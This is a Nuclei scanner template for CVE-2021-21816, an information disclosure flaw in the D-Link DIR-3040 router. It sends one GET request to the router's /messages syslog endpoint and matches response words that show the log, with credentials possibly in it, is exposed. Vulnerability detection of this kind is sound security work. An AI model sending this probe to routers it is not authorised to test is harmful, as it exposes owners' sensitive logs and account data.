nuclei-templates/http/cves/2021/CVE-2021-21816.yaml

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id: CVE-2021-21816
info:
name: D-Link DIR-3040 1.13B03 - Information Disclosure
author: gy741
severity: medium
description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
Upgrade the router firmware to the latest version provided by D-Link.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2021-21816
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cwe-id: CWE-200
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epss-score: 0.00255
epss-percentile: 0.63292
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cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: dlink
product: dir-3040_firmware
tags: cve,cve2021,dlink,exposure,router,syslog
http:
- method: GET
path:
- "{{BaseURL}}/messages"
matchers-condition: and
matchers:
- type: word
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part: body
words:
- "syslog:"
- "admin"
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- "/etc_ro/lighttpd/www"
condition: and
- type: status
status:
- 200
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# digest: 4b0a00483046022100d2d90daf9923b0d6b24932ac26117421803568a95fbf96051316907657fc0b0c022100bc4a1a2cea374b4eb80829c350c5f4f94c4b22f599749b60ca574d234148be43:922c64590222798bb761d5b6d8e72950